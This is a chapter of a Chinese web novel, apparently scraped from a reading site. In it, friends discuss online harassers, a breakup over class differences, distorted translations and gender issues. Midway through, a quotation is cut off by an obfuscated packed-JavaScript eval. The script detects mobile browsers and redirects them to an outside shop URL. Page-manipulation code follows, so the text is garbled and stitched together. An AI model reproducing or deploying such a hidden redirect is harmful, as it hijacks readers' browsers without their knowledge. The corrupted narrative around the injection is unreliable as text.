默认冷灰
24号文字
方正启体

115. 艺术的升华

作者:叔戊本书字数:K更新时间:
    大姚心情低落了一整天,也许还会低落很久,会纵使淡忘了也不能完全忘掉。为此她感到沮丧和深深的无力。可偏偏越是没有道德廉耻品性思想低劣的人,越不会负罪起一点波澜。


    “什么人都有,没办法的。”姜与没有试图安慰,只是阐述事实。


    互联网大大拉近人与人的距离,打破现实社交圈层壁垒,撕破刻意的伪装。是的,互联网会大大拉近人与某些东西的距离。


    主页里没有头像没有昵称什么都没有,哦,也许有一句“点进来你就输了”或者“拉黑自认破防”的个人简介。他们会在阅览评论区时随机挑选一位不符合个人思想价值观的言论,点进对方主页,窥伺,然后私信一条谐音梗生殖辱骂,暗自窃喜傻逼看不懂被骂了,实际上是不敢用正确的字眼怕被留下维权证据,因为TA自己都明白那是错的不雅的见不得人的。当你不明就里TA因为什么愤起而攻击,却发现对方早已拉黑跑路


    小时候在陌生人家门口按完门铃就跑,长大了在陌生人私信评论区拉完屎就跑。蹦跶一下就跑。正面刚?怎么可能。对峙都没种做到。就像TA甚至不敢用真实的性别身份与人交谈,骂你的帖子里还得打上蹭你热度的标签。白天网路微服出巡四处蹦跶指点江山,半夜对着擦边视频发出力不从心的呵喘。自以为那是为了他们狂欢而搭建的平台,殊不知监控后台数据的管理者很清楚他们只是现实中的loser。


    “我知道,什么人都有。”大姚说,“但就是挺,憋屈的。”


    “我以前也会这样。”


    她看向姜与,“然后呢?你怎么调理的?”


    “也算不上自我调理。”


    那天姜与出门办事叫了辆车,等待的间隙她闲得无聊刷了刷短视频。门口有家苍蝇小馆子,卖面和烤串,到饭点经常满客,免费续面一碗就能顶饱,用来打发一顿经济又实惠。那天也是,午餐时间,店里头两桌坐满,外面小桌板都支到人行道上了。姜与站在马路牙边,离她最近的那位先生,许是今天活儿清闲,大中午的还另叫了一瓶啤酒就一小把烤腰。他一只手帮着嘴吸溜面条,另一只手切换着短视频,手机喇叭外放质量绝好,姜与听见那是她刚划过的热门搞笑段子。大哥看得投入,笑声也是捧场,姜与挑眉,感慨平台推送冲破信息茧房。


    正值中午下班,来往行人很多,最多的是附近小学的学生和家长。然后,姜与就看见,啤酒喝急了的那位先生,将持续播着短视频的手机丢在碗边,从小马扎上站起身,解开皮带拉开拉锁一边掏着他的半两鸟儿一边穿越经过的路人,对着人行道上的树就开始滋尿,动作行云流水一气呵成,舒服兮爽快兮,旁若无人。眼睁睁目睹一切的小女孩对着母亲发出如同她胸前红领巾般赤诚的疑问:“妈妈他为什么要在这里尿尿呀?”


    女孩妈妈嘟囔了什么姜与没听清,她看见孩子妈眼神骂人拉着女孩加快脚步经过了面馆。这边方便完的大哥,手握水枪愉快地抖了三抖,装鸟,提裤子,拉锁,扣上皮带,闲庭信步走回小桌旁,落座,一口啤酒一口小腰,滑动下一个视频,接着乐呵。


    大姚听得直皱眉,“你快别说了我感觉眼前都有味道了。”


    “以前听人说‘在网络上你不知道对面是人是鬼’我其实没什么实感,”姜与说,“从那天之后就有了。”


    再遇到愚蠢言论时,再无端遭受谩骂时,水花四溅烧鸟味的啤酒就会浮现眼前,瞬间便没了争辩的欲望。毕竟,现实生活中,有些人遇到了也只会皱眉经过。


    .


    团训结束蓝序跟着姜与回了宁安里。


    “嗯?你这么久没在家里这么干净的吗?”蓝序惊讶。


    “我收拾了好吧。”那边全是霉这边全是灰,给她老腰都快干废了,“还好地方小。”


    “所以你昨天就回来了噢?”


    “嗯。”


    “段野不知道?”


    “他昨天夜班,告诉他他白天又不睡觉了等下在医院猝死。”


    “那等下就说我跟书清帮你搞的卫生。”


    省得那人闹起来没完。


    果然段野对姜与的清洁效率产生了一丝怀疑,但被蓝序糊弄过去了。


    “你不累吗要不要先睡一会儿等下吃饭叫你?”


    “不要。”然后他就像树袋熊一样挂在了姜与身上。


    “诶诶诶能不能背着点人?我还在这儿呢。”蓝序挥舞着油手一脸慊弃。


    蓝序说想吃小龙虾,这个季节小龙虾刚上市不够肥价格还贵,可她乐意,外卖叫了一大盆。


    姜与也在旁边剥虾随口问她:“你们两个真分手了?”


    “分了。”蓝序嗦着虾壳不以为意。


    “因为什么?”


    “不合适。”


    “嗯……这样吗。”姜与把虾尾放进蓝序碗里没有多问。


    那个男生姜与也见过,从接触的几次以及蓝序的动态中能看出来对方是个知书达理温和善良的人,两人相处得也融洽,没想到还是分开了。


    其实蓝序和对方已经进展到了见家长的程度,蓝序是去了才知道他家的情况,他算是个公子哥,并且家里还有一些政治背景,回来后思虑良久她提出了分手。


    “他瞒你这件事是挺不应该的。”姜与分析,“不过你们在一起也有几年了,他人品看起来也没什么问题,家里条件也不错,你确定就这么分开了?”


    “不是这个问题。”蓝序思索片刻道,“他瞒我我是有点不舒服,不过他家那种情况有所顾忌是正常的我能理解。我只是觉得,结婚过日子还是要门当户对。不是经济条件的问题,咱家也不缺钱对吧,可是也确实和他们家不在一个阶层。”


    这种成长环境的巨大差异会造就完全不同的价值观和认知观,这才是主要原因。


    “我也不认为谁好谁坏谁高谁低,只是不在同一圈层是很容易有分歧隔阂的。以前在一起的时候我就觉得我们之间有种说不上来的违和感。去了他家,见过他的家人,了解了他生长的环境我才看明白了。他家那个情况,限制很多,还是挺压抑的。我不想委屈自己,他也实在没道理为我改变。”


    蓝序提出分开的时候其实她能看出来,那人虽然难过但也松了口气。


    “所以,算了吧,没必要强行在一起。”


    这段感情是蓝序真正意义上的初恋,他们从校园到步入社会也算一起经历了人生几个重要的节点,选择分开是需要足够勇气的。


    “难受还是有点难受。”蓝序努着嘴表情倔倔的。


    姜与笑又给她碗里添了好几只剥好的虾,视线与段野相逢,她表情骄傲:我就说她是个有主意的吧,脑子清明,也勇敢。


    “那工作呢?你原来不是要做同传吗怎么又去搞翻译了?”


    蓝序举着虾一身豪气,“就干翻译!”


    翻译本来就已经是二度创作,那句话怎么说来着,“你以为你喜欢村上春树,其实你爱上的只是林少华”。现在这么多人都懂外语呢,没想到有些人真就敢明目张胆夹带私货扭曲事实胡编乱造。


    “真把人当傻子呢。”蓝序愤愤。


    如果维持客观原意都做不到,那她以后也把美国队长翻译成美国尤物,把肖申克的救赎翻译成失足辣弟的反转人生,把nephewandniece(侄子和侄女)翻译成侄女和侄子。不就是夹带私货吗,谁不会啊。


    “可不就是哄傻子呢,”姜与挑眉不置可否,“《龙樱》你没看过吗?”


    ——“社会有社会的规则,要想生存就要服从社会规则。但这些所谓的规则,全是由精英的少部分人制定的,为了他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015233|185824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己能获得权力与资源制定的,反过来对他们不利的事情,他们就会巧妙隐瞒。他们会在同样顺从规则的情况下,利用规则,比如税金、养老金、保险、法律、医疗制度、薪酬系统,他们将这些规则故意弄得晦涩难懂,这样那些不会思考慊麻烦的笨蛋就会稀里糊涂被当韭菜收割。”


    “看得懂的人不少,看不懂的人更多。韭菜的思想意志也是跟风就倒,这就是潜移默化的力量。”姜与掐掉一个虾头,“他们说是什么就是什么,他们想让我们看什么就写成他们想让我们看的。蛋糕就这么大,金字塔是正三角,他们当然希望傻子在底下永远是傻子。”


    看不懂的傻子活该待在井底牢笼,不努力那就在别人制定的规则里被骗被糊弄被欺负,一辈子浑浑噩噩为上层做托举。


    这是他们所期望的“稳定”。


    还好蓝序不是傻子,A组的女孩子们也没一个是傻子。书清选择留在央媒还要继续读博,方煜阳在教育系统,其他人有做自媒体的,有做经管贸易的,有人选择文艺界,也有人准备考公。大家都有自己的方向,每个人都在努力攀爬,就算做不了制定规则的精英,也不要变成甘于被规则压榨的傻瓜。


    “你讲座抢到位子了?”姜与问。


    “抢到了。”


    “讲什么的?”


    “社交媒体女性赋权广告的研究,后女性主义话语与受众的意义产生。”蓝序从手机里翻出宣传海报。


    姜与瞅了一眼,海报上是个半大老头儿。


    “男教授讲女权?”


    “嗯,他很受欢迎啊据说反响很不错。”


    “嗯……”姜与意味深长,“男人果然做什么都很容易获得褒奖啊。”


    Interesting。


    蓝序愣了一下,“靠……那我还要去吗。”


    “去啊干吗不去。去听听他讲什么,你可以保留自己的想法辩证地听,说不定能从另一个角度得到新的见解。”


    毕竟,艺术的升华往往在台下。


    .


    送走蓝序趁着初夏天气好两人在小区周围遛弯儿。


    “你为什么从来不跟我讲这些?”段野问她。


    “嗯?讲什么?”


    “就你和蓝序她们聊的那些啊,你从来都不会跟我聊欸。”


    “跟你聊女性议题?”


    “不可以吗,”段野假装委屈,“歧视我是男的所以不带我玩吗?”


    …………


    头一次,姜与面对段野冷了脸。


    “你能开着玩笑说性别歧视是因为你很清楚自己的性别不会遭遇歧视。”她说,带着点不耐,“这就是我为什么不想跟你讨论这些问题。再怎么样男女之间认知总是有壁的。”


    人在面对无知时经常会表现出傲慢。姜与不是傲慢,她只是选择了回避。因为事实就是,段野已经足够足够好了,远超她对异性伴侣的预期,所以她不想同他就性别议题进行再深层次的结构辨析。她觉得没必要。


    感受到气氛严肃段野即刻收敛情绪,“对不起。”他说,“我不是那个意思……”


    姜与叹息,“我知道你不是那个意思。”


    就是无心才叫人感觉无力。


    “我知道我的认知是有限的,”段野轻轻道,“所以我不知道的东西你可以让我知道啊,我也可以学习。总不能你自己进步我一个人当傻子吧。”


    他晃着姜与的手,晃着晃着给她晃笑了,无奈地。


    “《龙樱》我看过啊,那段是讲阶级和精英文化。但是我知道你跟蓝序讲的是男女问题。所以我就好奇嘛。”


    “没有单纯的男女问题,只有阶级问题。”


    “嗯?”


    姜与冲他笑,“想吧。”


    能想明白了我们再来讨论其他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)